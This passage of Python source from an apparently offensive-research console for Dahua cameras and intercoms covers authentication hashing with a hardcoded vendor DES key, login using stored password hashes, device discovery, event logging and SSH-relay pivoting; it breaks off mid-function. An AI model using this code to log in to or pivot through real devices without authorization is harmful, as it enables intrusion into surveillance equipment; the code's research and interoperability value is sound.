dh_hash = saved_host.get('password').get('gen2') if password is None else hashlib.md5( (username + ':' + dh_realm + ':' + password).encode('latin-1') ).hexdigest().upper() if return_hash: return dh_hash return hashlib.md5( (username + ':' + dh_random + ':' + dh_hash).encode('latin-1') ).hexdigest().upper() def dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, created=None): """ Dahua (digest) DHIP/WEB random MD5 password hash """ dh_hash = saved_host.get('password').get('gen2').lower() if saved_host else hashlib.md5( (username + ':' + dh_realm + ':' + password).encode('latin-1') ).hexdigest() return hashlib.md5( (dh_hash + ':' + dh_random + ':' + created).encode('ascii') ).hexdigest() def dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=False, saved_host=None): """ Dahua (onvif) DHIP/WEB random SHA1 password hash """ if password is None and saved_host is not None: dh_params = saved_host.get('password').get('onvif', None) return dh_params authority_info = os.urandom(20) if device_random: # Use original 'dh_random' from device dh_random = dh_random.encode('ascii') else: # Or, we can set random to what we want dh_random = os.urandom(20) hash_digest = hashlib.sha1() hash_digest.update((dh_random + authority_info + password.encode('ascii'))) return { "authorityInfo": b64e(authority_info), "password": b64e(hash_digest.digest()), "random": b64e(dh_random) } def dahua_gen0_hash(dh_data, des_mode): """The DES/3DES code in the bottom of this script.""" # "secret" key for Dahua Technology key = b'poiuytrewq' # 3DES if len(dh_data) > 8: # Max 8 bytes! log.failure(f"'{dh_data}' is more than 8 bytes, this will most probably fail") dh_data = dh_data[0:8] data_len = len(dh_data) key_len = len(key) """ padding key with 0x00 if needed """ if key_len <= 8: if not (key_len % 8) == 0: # key += p8(0x0) * (8 - (key_len % 8)) # DES (8 bytes) key += b'\x00' * (8 - (key_len % 8)) # DES (8 bytes) elif key_len <= 16: if not (key_len % 16) == 0: # key += p8(0x0) * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes) key += b'\x00' * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes) elif key_len <= 24: if not (key_len % 24) == 0: # key += p8(0x0) * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes) key += b'\x00' * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes) """ padding key with 0x00 if needed """ if not (data_len % 8) == 0: # dh_data += p8(0x0).decode('latin-1') * (8 - (data_len % 8)) dh_data += '\x00' * (8 - (data_len % 8)) if key_len == 8: k = Des(key) else: k = TripleDes(key) if des_mode == ENCRYPT: dh_data = k.encrypt(dh_data.encode('latin-1')) else: dh_data = k.decrypt(dh_data) dh_data = dh_data.decode('latin-1').strip('\x00') # Strip all 0x00 padding return dh_data """ [WARNING!] Do NOT reuse below code for legit DES/3DES! [WARNING!] This code has been cleaned and modified so it will fit my needs to replicate Dahua's implementation of DES/3DES with endianness bugs. [This code is based based on] A pure python implementation of the DES and TRIPLE DES encryption algorithms. Author: Todd Whitman's Homepage: http://twhiteman.netfirms.com/des.html """ class _BaseDes(object): """ The base class shared by des and triple des """ def __init__(self): self.block_size = 8 self.__key = None def get_key(self): """get_key() -> bytes""" return self.__key def set_key(self, key): """Will set the crypting key for this object.""" self.__key = key class Des(_BaseDes): """ DES """ """ Permutation and translation tables for DES """ __pc1 = [ 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] """ number left rotations of pc1 """ __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] """ permuted choice key (table 2) """ __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [ 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [ 14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13 ], # S2 [ 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9 ], # S3 [ 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12 ], # S4 [ 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14 ], # S5 [ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 ], # S6 [ 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13 ], # S7 [ 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12 ], # S8 [ 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11 ], ] """ 32-bit permutation function P used on the output of the S-boxes """ __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] """ final permutation IP^-1 """ __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] """ Initialisation """ def __init__(self, key): _BaseDes.__init__(self) self.key_size = 8 self.L = [] self.R = [] self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.set_key(key) def set_key(self, key): """Will set the crypto key for this object. Must be 8 bytes.""" _BaseDes.set_key(self, key) self.__create_sub_keys() @staticmethod def __string_to_bitlist(dh_data): """Turn the string data, into a list of bits (1, 0)'s""" return bits(dh_data, endian='little') # Dahua endianness bug @staticmethod def __bitlist_to_string(dh_data): """Turn the list of bits -> data, into a string""" return bytes(list(unbits(dh_data, endian='little'))) # Dahua endianness bug @staticmethod def __permutate(table, block): """Permutate this block with the specified table""" return list(map(lambda x: block[x], table)) """ Transform the secret key, so that it is ready for data processing Create the 16 subkeys, K[1] - K[16] """ def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(Des.__pc1, self.__string_to_bitlist(self.get_key())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < Des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(Des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(Des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] if crypt_type == ENCRYPT: temp_r = self.R[:] else: temp_r = self.L[:] # Permutate R[i - 1] to start creating R[i] if crypt_type == ENCRYPT: self.R = self.__permutate(Des.__expansion_table, self.R) else: self.L = self.__permutate(Des.__expansion_table, self.L) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here if crypt_type == ENCRYPT: self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) _b = [ self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:] ] else: self.L = list(map(lambda x, y: x ^ y, self.L, self.Kn[iteration])) _b = [ self.L[:6], self.L[6:12], self.L[12:18], self.L[18:24], self.L[24:30], self.L[30:36], self.L[36:42], self.L[42:] ] # Permutate _b[1] to _b[8] using the S-Boxes j = 0 _bn = [] while j < 8: # Work out the offsets m = (_b[j][0] << 1) + _b[j][5] n = (_b[j][1] << 3) + (_b[j][2] << 2) + (_b[j][3] << 1) + _b[j][4] # Find the permutation value v = Des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: _bn for tmp in list(map(lambda x: x, bits(v, endian='little')[:4])): # Dahua endianness bug _bn.append(tmp) j += 1 # Permutate the concatination of _b[1] to _b[8] (_bn) if crypt_type == ENCRYPT: self.R = self.__permutate(Des.__p, _bn) else: self.L = self.__permutate(Des.__p, _bn) # Xor with L[i - 1] if crypt_type == ENCRYPT: self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) else: self.L = list(map(lambda x, y: x ^ y, self.R, self.L)) # L[i] becomes R[i - 1] if crypt_type == ENCRYPT: self.L = temp_r else: self.R = temp_r i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] if crypt_type == ENCRYPT: self.final = self.__permutate(Des.__fp, self.L + self.R) else: self.final = self.__permutate(Des.__fp, self.L + self.R) return self.final def crypt(self, dh_data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not dh_data: return '' # Split the data into blocks, crypting each one separately i = 0 # dict = {} result = [] while i < len(dh_data): block = self.__string_to_bitlist(dh_data[i:i + 8]) processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list result.append(self.__bitlist_to_string(processed_block)) i += 8 # Return the full crypted string return bytes.fromhex('').join(result) def encrypt(self, dh_data): return self.crypt(dh_data, ENCRYPT) def decrypt(self, dh_data): return self.crypt(dh_data, DECRYPT) class TripleDes(_BaseDes): """Triple DES""" def __init__(self, key): _BaseDes.__init__(self) self.key_size = None self.__key1 = None self.__key2 = None self.__key3 = None self.set_key(key) def set_key(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 self.__key1 = Des(key[:8]) self.__key2 = Des(key[8:16]) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = Des(key[16:]) _BaseDes.set_key(self, key) def encrypt(self, dh_data): dh_data = self.__key1.crypt(dh_data, ENCRYPT) dh_data = self.__key2.crypt(dh_data, DECRYPT) dh_data = self.__key3.crypt(dh_data, ENCRYPT) return dh_data def decrypt(self, dh_data): dh_data = self.__key3.crypt(dh_data, DECRYPT) dh_data = self.__key2.crypt(dh_data, ENCRYPT) dh_data = self.__key1.crypt(dh_data, DECRYPT) return dh_data ================================================ FILE: events.py ================================================ import _thread from utils import * from connection import DahuaConnect class DahuaEvents(DahuaConnect): def __init__(self): super(DahuaEvents, self).__init__() def internal_event_manager(self, dh_data): """ JSON fixing part, then feed 'local_event_handler()' """ try: events = fix_json(dh_data) for event in events: self.local_event_handler(event) except Exception as e: log.failure('[internal_event_manager] {}'.format(repr(e))) def local_event_handler(self, dh_data): """ Local event handler """ try: host = dh_data.get('host') event_list = dh_data.get('params').get('eventList') for events in event_list: if events.get('Action') == 'Start': """ Reboot event, remote device is already rebooting and we cannot make clean exit, so just close instance and reschedule connection """ if events.get('Code') == 'Reboot': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), LYELLOW), color(host, GREEN), color('Reboot', RED), )) tmp = False session = None for session in self.dhConsole: if self.dhConsole.get(session).get('host') == host: log.warning( "{}: {} ({})".format( session, self.dhConsole.get(session).get('device'), self.dhConsole.get(session).get('host'))) tmp = self.dhConsole.get(session).get('instance') tmp.terminate = True tmp.logout() break if tmp: if tmp == self.dh: del self.dh self.dhConsole.pop(session) if len(self.dhConsole): for session in self.dhConsole: self.dh = self.dhConsole.get(session).get('instance') break else: del tmp self.dhConsole.pop(session) # _thread.start_new_thread(self.restart_connection, ("restart_connection", host,)) _thread.start_new_thread(self.restart_connection, (host,)) elif events.get('Code') == 'Exit': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('Exit App', RED) )) elif events.get('Code') == 'ShutDown': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('ShutDown App', RED) )) # VTO elif events.get('Code') == 'AlarmLocal': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('AlarmLocal [Start]', RED) )) # VTO elif events.get('Code') == 'ProfileAlarmTransmit': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color( 'ProfileAlarmTransmit [Start]\n' 'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format( events.get('Data').get('AlarmType'), events.get('Data').get('DevSrcType'), events.get('Data').get('SenseMethod'), events.get('Data').get('UserID'), ), RED) )) elif events.get('Code') == 'SafetyAbnormal': log.warning('[{} ({}) Start ] {}'.format( color( events.get('Data').get('AbnormalTime') if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'), YELLOW ), color(host, GREEN), color('{} {}'.format( events.get('Data').get('ExceptionType'), events.get('Data').get('Address') ), RED), )) elif events.get('Action') == 'Stop': # VTO if events.get('Code') == 'AlarmLocal': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('AlarmLocal [Stop]', GREEN) )) # VTO elif events.get('Code') == 'ProfileAlarmTransmit': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color( 'ProfileAlarmTransmit [Stop]\n' 'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format( events.get('Data').get('AlarmType'), events.get('Data').get('DevSrcType'), events.get('Data').get('SenseMethod'), events.get('Data').get('UserID'), ), GREEN) )) elif events.get('Code') == 'SafetyAbnormal': log.warning('[{} ({}) Stop ] {}'.format( color( events.get('Data').get('AbnormalTime') if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'), YELLOW ), color(host, GREEN), color('{} {}'.format( events.get('Data').get('ExceptionType'), events.get('Data').get('Address') ), RED), )) elif events.get('Action') == 'Pulse': if events.get('Code') == 'SafetyAbnormal': log.warning('[{} ({}) ] {}'.format( color( events.get('Data').get('AbnormalTime') if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'), YELLOW ), color(host, GREEN), color('{} {}'.format( events.get('Data').get('ExceptionType'), events.get('Data').get('Address') ), RED), )) elif events.get('Code') == 'LoginFailure': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('Login Failure: {} {} ({})'.format( events.get('Data').get('Name'), events.get('Data').get('Address'), events.get('Data').get('Type') ), RED), )) elif events.get('Code') == 'RemoteIPModified': log.warning('[{} ({}) ] {}\n{}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('DHDiscover.setConfig', YELLOW), events.get('Data'), )) elif events.get('Code') == 'Reset': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('Factory default reset', RED), )) # VTH elif events.get('Code') == 'InfoTip': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('InfoTip', YELLOW), )) # VTH elif events.get('Code') == 'KeepLightOn': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('KeepLightOn: {}'.format(events.get('Data').get('Status')), YELLOW), )) # VTH elif events.get('Code') == 'ScreenOff': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('ScreenOff', YELLOW), )) # VTH elif events.get('Code') == 'VthAlarm': log.warning('[{} ({}) ] {}'.format( color(events.get('Data').get('LocaleTime'), YELLOW), color(host, GREEN), color('VTH Alarm', RED), )) except Exception as e: log.failure('[local_event_handler] {}'.format(repr(e))) pass ================================================ FILE: eventviewer.py ================================================ #!/usr/bin/env python3 from utils import * def main(): """ Simple Event Viewer """ events = None try: events = remote('127.0.0.1', EventOutServerPort, ssl=False, timeout=5) while True: event_data = '' while True: tmp = len(event_data) event_data += events.recv(numb=8192, timeout=1).decode('latin-1') if tmp == len(event_data): break if len(event_data): # fix the JSON mess event_data = fix_json(event_data) if not len(event_data): log.warning('[Simple Event Viewer]: callback data invalid!\n') return False for event in event_data: log.info('[Event From]: {}\n{}'.format(color(event.get('host'), GREEN), event)) except (PwnlibException, EOFError, KeyboardInterrupt): log.warning("[Simple Event Viewer]") if events: events.close() return False if __name__ == '__main__': main() ================================================ FILE: net.py ================================================ import ast import ndjson import copy import inspect import _thread from utils import * from pwdmanager import PwdManager from relay import init_relay, DahuaHttp def dahua_proto(proto): """ DVRIP have different codes in their protocols """ headers = [ b'\xa0\x00', # 3DES Login b'\xa0\x01', # DVRIP Send Request Realm b'\xa0\x05', # DVRIP login Send Login Details b'\xb0\x00', # DVRIP Receive b'\xb0\x01', # DVRIP Receive b'\xa3\x01', # DVRIP Discover Request b'\xb3\x00', # DVRIP Discover Response b'\xf6\x00', # DVRIP JSON ] if proto[:2] in headers: return True return False class Network(object): def __init__(self): super(Network, self).__init__() self.args = None """ If we don't have own udp server running in main app, will be False and we do not send anything """ self.tcp_server = None self.console_attach = None self.DeviceClass = None self.DeviceType = None self.AuthCode = None self.ErrorCode = None # Internal sharing self.ID = 0 # Our Request / Response ID that must be in all requests and initiated by us self.SessionID = 0 # Session ID will be returned after successful login self.header = None self.instance_serviceDB = {} # Store of Object, ProcID, SID, etc.. for 'service' self.multicall_query_args = [] # Used with system.multicall method self.multicall_query = [] # Used with system.multicall method self.multicall_return_check = None # Used with system.multicall method self.fuzzDB = {} # Used when fuzzing some calls self.RestoreEventHandler = {} # Cache of temporary enabled events self.params_tmp = {} # Used in instance_create() self.attachParamsTMP = [] # Used in instance_create() self.RemoteServicesCache = {} # Cache of remote services, used to check if certain service exist or not self.RemoteMethodsCache = {} # Cache of used remote methods self.RemoteConfigCache = {} # Cache of remote config self.rhost = None self.rport = None self.proto = None self.events = None self.ssl = None self.relay_host = None self.timeout = None self.udp_server = None self.proto = None self.relay = None self.remote = None self.debug = None self.debugCalls = None # Some internal debugging self.event = threading.Event() self.socket_event = threading.Event() self.lock = threading.Lock() self.recv_stream_status = threading.Event() self.terminate = False ############################################################################################################# # # Custom pwntools functions # ############################################################################################################# def custom_can_recv(self, timeout=0.020): """ wrapper for pwntools 'can_recv()' SSLSocket and paramiko recv() do not support any flags """ time.sleep(timeout) try: """ pwntools """ if self.remote.can_recv(): return True return False except TypeError: """ paramiko ssh """ if self.remote.sock.recv_ready(): return True return False except ValueError: """ SSL """ # TODO: Not found any way for SSL return True except AttributeError: """ OSError """ print('AttributeError') return False def custom_connect_remote(self, rhost, rport, timeout=10): """ Custom SSH connect_remote(), still we using pwntools 'transport()' """ # channel = self.relay.transport.Channel(timeout=timeout) channel = self.relay.transport.open_channel('direct-tcpip', (rhost, rport), ('127.0.0.1', 0), timeout=timeout) print(self.relay.transport.is_active()) return channel def custom_exec_command(self, cmd, script='', timeout=10, env_export=None): """ Custom SSH exec_command(), still using pwntools 'transport()' """ env_export = ';'.join('export {}={}'.format(var, env_export.get(var)) for var in env_export) cmd = ''.join([env_export, cmd, script]) stdout = b'' stderr = b'' sftp = None relay = None """ Generally not many embedded devices who has sftp support, meaning it will most likely not support exec_command() and/or python either. Just to avoid potential 'psh' hanging in embedded devices """ try: sftp = self.relay.transport.open_session(timeout=timeout) sftp.settimeout(timeout=timeout) sftp.invoke_subsystem('sftp') except Exception as e: print('[custom_exec_command] (sftp)', repr(e)) return {"stdout": [], "stderr": ['embedded devices not supported']} finally: if sftp: sftp.close() try: relay = self.relay.transport.open_session(timeout=timeout) relay.settimeout(timeout=timeout) relay.exec_command(cmd) while True: stdout = b''.join([stdout, relay.recv(4096)]) if relay.exit_status_ready(): break """ Catch potential stderr from remote """ stderr = b''.join([stderr, relay.recv_stderr(4096)]) except Exception as e: print('[custom_exec_command] (relay)', repr(e)) return {"stdout": [], "stderr": ['exec request failed on channel {}'.format(relay.get_id())]} finally: if relay: relay.close() stdout = stdout.decode('utf-8').split('\n') stderr = stderr.decode('utf-8').split('\n') """ return output in list, remove potential empty entries """ return { "stdout": [x for x in stdout if x], "stderr": [x for x in stderr if x] } def dh_discover(self, msg): """ Device DHIP/DVRIP discover function """ cmd = msg.split() dh_data = None host = None sock = None remote_recvfrom = None remote_ip = None remote_port = None usage = { "dhip": "[host]", "dvrip": "[host]" } if len(cmd) < 2 or len(cmd) > 3 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True discover = cmd[1] if discover == 'dhip': if len(cmd) == 2: dip = '239.255.255.251' else: dip = check_host(cmd[2]) if not dip: log.failure("Invalid RHOST") return False dport = 37810 query_args = { "method": "DHDiscover.search", # "method": "deviceDiscovery.refresh", # "method": "deviceDiscovery.ipScan", # "method": "DHDiscover.setConfig", # "method": "Security.getEncryptInfo", # "method": "DevInit.account", # "method": "PasswdFind.getDescript", # "method": "PasswdFind.resetPassword", # "method": "PasswdFind.checkAuthCode", # "method": "DevInit.leAction", # "method": "userManager.getCaps", # "method": "DevInit.access", # "method": "Security.modifyPwdOutSession", "params": { "mac": "", "uni": 1 }, } header = \ p64(0x2000000044484950, endian='big') + p64(0x0) + p32(len(json.dumps(query_args))) + \ p32(0x0) + p32(len(json.dumps(query_args))) + p32(0x0) packet = header + json.dumps(query_args).encode('latin-1') elif discover == 'dvrip': if len(cmd) == 2: dip = '255.255.255.255' else: dip = check_host(cmd[2]) if not dip: log.failure("Invalid RHOST") return False dport = 5050 packet = p32(0xa3010001, endian='big') + (p32(0x0) * 3) + p32(0x02000000, endian='big') + (p32(0x0) * 3) else: log.failure('{}'.format(help_all(msg=cmd[0], usage=usage))) return False if self.relay_host: script = r""" import os, sys, socket, base64 socket.setdefaulttimeout(4) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.sendto(base64.b64decode(os.getenv('PACKET')), (os.getenv('dip'),int(os.getenv('dport')))) while True: try: dh_data, addr = sock.recvfrom(8196) print({"host": addr[0], "dh_data": base64.b64encode(dh_data) }) except Exception as e: # sys.stderr.write(repr(e)) break sock.close() """ env_export = { 'PATH': '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/sbin', 'PACKET': b64e(packet), 'dip': dip, 'dport': str(dport) } if not self.relay: dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport, discover=discover) if not dh_data: return False self.relay = dh_data.get('dh_relay') remote_recvfrom = self.custom_exec_command( cmd=';python -c ', script=sh_string(script), env_export=env_export) else: socket.setdefaulttimeout(3) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) self._debug("SEND", packet) sock.sendto(packet, (dip, dport)) while True: if self.relay: for host in remote_recvfrom.get('stdout'): x = ast.literal_eval(host) dh_data = b64d(x.get('dh_data')) remote_ip = x.get('host') remote_port = dport break if len(remote_recvfrom.get('stdout')): remote_recvfrom.get('stdout').remove(host) else: if len(remote_recvfrom.get('stderr')): for stderr in remote_recvfrom.get('stderr'): log.warning('[stderr] {}'.format(stderr)) return True else: try: dh_data, addr = sock.recvfrom(4096) remote_ip = addr[0] remote_port = addr[1] except (Exception, KeyboardInterrupt, SystemExit): sock.close() return True log.success("dh_discover response from: {}:{}".format(remote_ip, remote_port)) self._debug("RECV", dh_data) dh_data = dh_data[32:].decode('latin-1') if discover == 'dhip': dh_data = json.loads(dh_data.strip('\x00')) print(json.dumps(dh_data, indent=4)) elif discover == 'dvrip': bin_info = { "Version": { "Version": "{}.{}.{}.{}".format( u16(dh_data[0:2]), u16(dh_data[2:4]), u16(dh_data[4:6]), u16(dh_data[6:8])) }, "Network": { "Hostname": dh_data[8:24].strip('\x00'), "IPAddress": unbinary_ip(dh_data[24:28]), "SubnetMask": unbinary_ip(dh_data[28:32]), "DefaultGateway": unbinary_ip(dh_data[32:36]), "DnsServers": unbinary_ip(dh_data[36:40]), }, "AlarmServer": { "Address": unbinary_ip(dh_data[40:44]), "Port": u16(dh_data[44:46]), "Unknown46-47": u8(dh_data[46:47]), "Unknown47-48": u8(dh_data[47:48]), }, "Email": { "Address": unbinary_ip(dh_data[48:52]), "Port": u16(dh_data[52:54]), "Unknown54-55": u8(dh_data[54:55]), "Unknown55-56": u8(dh_data[55:56]), }, "Unknown": { "Unknown56-50": unbinary_ip(dh_data[56:60]), "Unknown60-62": u16(dh_data[60:62]), "Unknown82-86": unbinary_ip(dh_data[82:86]), "Unknown86-88": u16(dh_data[86:88]), }, "Web": { "Port": u16(dh_data[62:64]), }, "HTTPS": { "Port": u16(dh_data[64:66]), }, "DVRIP": { "TCPPort": u16(dh_data[66:68]), "MaxConnections": u16(dh_data[68:70]), "SSLPort": u16(dh_data[70:72]), "UDPPort": u16(dh_data[72:74]), "Unknown74-75": u8(dh_data[74:75]), "Unknown75-76": u8(dh_data[75:76]), "MCASTAddress": unbinary_ip(dh_data[76:80]), "MCASTPort": u16(dh_data[80:82]), }, } log.info("Binary:\n{}".format(json.dumps(bin_info, indent=4))) log.info("Ascii:\n{}".format(dh_data[88:].strip('\x00'))) def dh_connect(self, username=None, password=None, logon=None, force=False): """ Initiate connection to device and handle possible calls from cmd line """ console = None log.info( color('logon type "{}" with proto "{}" at {}:{}'.format(logon, self.proto, self.rhost, self.rport), LGREEN) ) if self.relay_host: dh_data = init_relay(relay=self.relay_host, rhost=self.rhost, rport=self.rport) if not dh_data: return False self.relay = dh_data.get('dh_relay') self.remote = dh_data.get('dh_remote') elif self.proto == 'http' or self.proto == 'https': self.remote = DahuaHttp(self.rhost, self.rport, proto=self.proto, timeout=self.timeout) else: try: self.remote = remote(self.rhost, self.rport, ssl=self.ssl, timeout=self.timeout) except PwnlibException: return False if self.args.test: self.header = self.proto_header() return True if not self.args.dump: console = log.progress(color('Dahua Debug Console', YELLOW)) console.status(color('Trying', YELLOW)) if self.proto == 'dvrip' or self.proto == '3des': if not self.dahua_dvrip_login(username=username, password=password, logon=logon): if not self.args.dump: if self.args.save: console.success('Save 